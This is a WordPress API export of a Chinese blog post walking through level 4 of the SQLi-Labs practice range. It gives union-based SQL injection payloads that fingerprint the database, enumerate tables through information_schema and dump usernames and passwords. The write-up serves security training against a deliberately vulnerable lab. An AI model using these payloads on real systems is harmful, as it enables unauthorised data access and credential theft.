{"id":282,"date":"2021-10-29T18:00:47","date_gmt":"2021-10-29T10:00:47","guid":{"rendered":"https:\/\/axinyi.xuenixiang.com\/?p=282"},"modified":"2021-10-29T18:00:49","modified_gmt":"2021-10-29T10:00:49","slug":"sqli-labs4","status":"publish","type":"post","link":"https:\/\/axinyi.xuenixiang.com\/index.php\/2021\/10\/29\/sqli-labs4\/","title":{"rendered":"SQLi-LABS\u9776\u573a-4 \u8be6\u89e3"},"content":{"rendered":"\n

SQLi-Labs \u662f\u4e00\u4e2a\u4e13\u4e1a\u7684SQL\u6ce8\u5165\u7ec3\u4e60\u5e73\u53f0<\/p>\n\n\n\n

\u7b2c\u56db\u5173<\/p>\n\n\n\n

\u6253\u5f00\u7b2c\u56db\u5173\u4f20\u53c2id=1\uff0c\u7ed3\u679c\u5982\u56fe<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u63a5\u4e0b\u6765\u5bf9\u6ce8\u5165\u70b9\u8fdb\u884c\u731c\u6d4b\u5f15\u53d1\u62a5\u9519\uff0c\u731c\u6d4b\u53d1\u73b0\u4f20\u51651'\u548c1asdf\u90fd\u65e0\u6cd5\u9020\u6210\u6211\u4eec\u60f3\u8981\u7684\u62a5\u9519\u3002\u6211\u4eec\u4e0d\u5f97\u4e0d\u8003\u8651\u522b\u7684\u65b9\u5f0f\uff0c\u53d1\u73b0\u4f20\u51651\"\u65f6\uff0c\u56de\u663e\u62a5\u9519<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u6839\u636e\u62a5\u9519\uff0c\u6211\u4eec\u731c\u6d4bsql\u67e5\u8be2\u8bed\u53e5\u4e2d$id\u88ab\u4e00\u5bf9\u53cc\u5f15\u53f7\u548c\u4e00\u5bf9\u62ec\u53f7\u5305\u62ec\uff0c\u6839\u636e\u62a5\u9519\u63d0\u793a\u6211\u4eec\u5bf9$id\u4f20\u5165\u65b0\u7684\u503c<\/p>\n\n\n\n

?id=1\") --+<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u53d1\u73b0\u56de\u663e\u6b63\u5e38\uff0c\u8bf4\u660e\u6211\u4eec\u7684\u731c\u6d4b\u662f\u6b63\u786e\u7684\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u67e5\u770b\u4e0b\u6e90\u7801\u8fdb\u4e00\u6b65\u786e\u8ba4\u6211\u4eec\u7684\u731c\u6d4b<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u53d1\u73b0\u6e90\u7801\u6b63\u5982\u6211\u4eec\u6240\u6599\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u731c\u6d4b\u5b57\u6bb5\u6570<\/p>\n\n\n\n
?id=1\") order by 4 --+<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5f53\u731c\u6d4b\u5b57\u6bb5\u6570\u4e3a3\u65f6\u56de\u663e\u6b63\u5e38\uff0c\u731c\u6d4b\u5b57\u6bb5\u6570\u4e3a4\u65f6\u62a5\u9519\uff0c\u8bf4\u660e\u67093\u4e2a\u5b57\u6bb5<\/p>\n\n\n\n
\u63a5\u4e0b\u6765\u6211\u4eec\u731c\u6d4b\u5b57\u6bb5\u6570\u636e\u8f93\u51fa<\/p>\n\n\n\n
?id=-1\") union select 1,2,3 --+<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5b57\u6bb52,3\u662f\u6570\u636e\u8f93\u51fa\u7684\u4f4d\u7f6e\uff0c\u90a3\u4e48\u6211\u4eec\u67e5\u8be2\u5f53\u524d\u6570\u636e\u5e93\u7528\u6237\u548c\u6570\u636e\u5e93\u7248\u672c<\/p>\n\n\n\n
?id=-1\") union select 1,user(),@@version --+<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5f97\u77e5\u5f53\u524d\u6743\u9650\u4e3aroot\uff0c\u6570\u636e\u5e93\u7248\u672c>5.0,\u6211\u4eec\u7ee7\u7eed\u67e5\u8be2\u5f53\u524d\u6570\u636e\u5e93\u540d<\/p>\n\n\n\n
?id=-1\") union select 1,2,database() --+<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5f53\u524d\u6570\u636e\u5e93\u540d\u4e3asecurity\uff0c\u6211\u4eec\u901a\u8fc7information_schema\u67e5\u8be2\u5f53\u524d\u6570\u636e\u5e93\u4e0b\u7684\u6240\u6709\u8868\u540d<\/p>\n\n\n\n
?id=-1\") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u67e5\u8be2\u5230\u6709\u4e2a\u540d\u4e3ausers\u7684\u8868\uff0c\u67e5\u8be2\u6b64\u8868\u4e0b\u7684\u6240\u6709\u5b57\u6bb5<\/p>\n\n\n\n
?id=-1\") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u67e5\u8be2\u5230\u4e09\u4e2a\u5b57\u6bb5\uff0c\u5176\u4e2d\u4e24\u4e2a\u662f\u5e10\u53f7\u5bc6\u7801\uff0c\u5bf9\u8fd9\u4e24\u4e2a\u5b57\u6bb5\u8fdb\u884c\u67e5\u8be2<\/p>\n\n\n\n
?id=-1\") union select 1,2,group_concat(username,0x7e,password) from security.users --+<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u67e5\u8be2\u5230\u8d26\u53f7\u5bc6\u7801\u7528~\u53f7\u5206\u5272\uff0c\u7b2c4\u5173\u5230\u8fd9\u5c31\u7ed3\u675f\u4e86\u3002sql\u6ce8\u5165\u5224\u65ad\u6ce8\u5165\u70b9\u7c7b\u578b\u9700\u8981\u4e0d\u65ad\u7684\u53bb\u8bd5\u63a2\uff0c\u53ea\u8981\u5224\u65ad\u51fa\u6ce8\u5165\u70b9\u7684\u7c7b\u578b\uff0c\u63a5\u4e0b\u6765\u7684\u8fc7\u7a0b\u601d\u8def\u57fa\u672c\u662f\u4e00\u6837\u7684\u3002\u6240\u4ee5\u9700\u8981\u6709\u4e00\u4e2a\u7075\u654f\u7684\u601d\u7ef4\uff0c\u5feb\u901f\u7684\u731c\u6d4b\u6ce8\u5165\u70b9\u7c7b\u578b\uff0c\u5f53\u7136\u4e5f\u53ef\u4ee5\u9009\u62e9\u7528\u811a\u672c\u8dd1\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
SQLi-Labs \u662f\u4e00\u4e2a\u4e13\u4e1a\u7684SQL\u6ce8\u5165\u7ec3\u4e60\u5e73\u53f0 \u7b2c\u56db\u5173 \u6253\u5f00\u7b2c\u56db\u5173\u4f20\u53c2id=1\uff0c\u7ed3\u679c\u5982\u56fe \u63a5\u4e0b\u6765\u5bf9\u6ce8\u5165\u70b9\u8fdb\u884c\u731c\u6d4b\u5f15\u53d1\u62a5\u9519\uff0c\u731c\u6d4b …<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts\/282"}],"collection":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/comments?post=282"}],"version-history":[{"count":16,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts\/282\/revisions"}],"predecessor-version":[{"id":323,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts\/282\/revisions\/323"}],"wp:attachment":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/media?parent=282"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/categories?post=282"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/tags?post=282"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}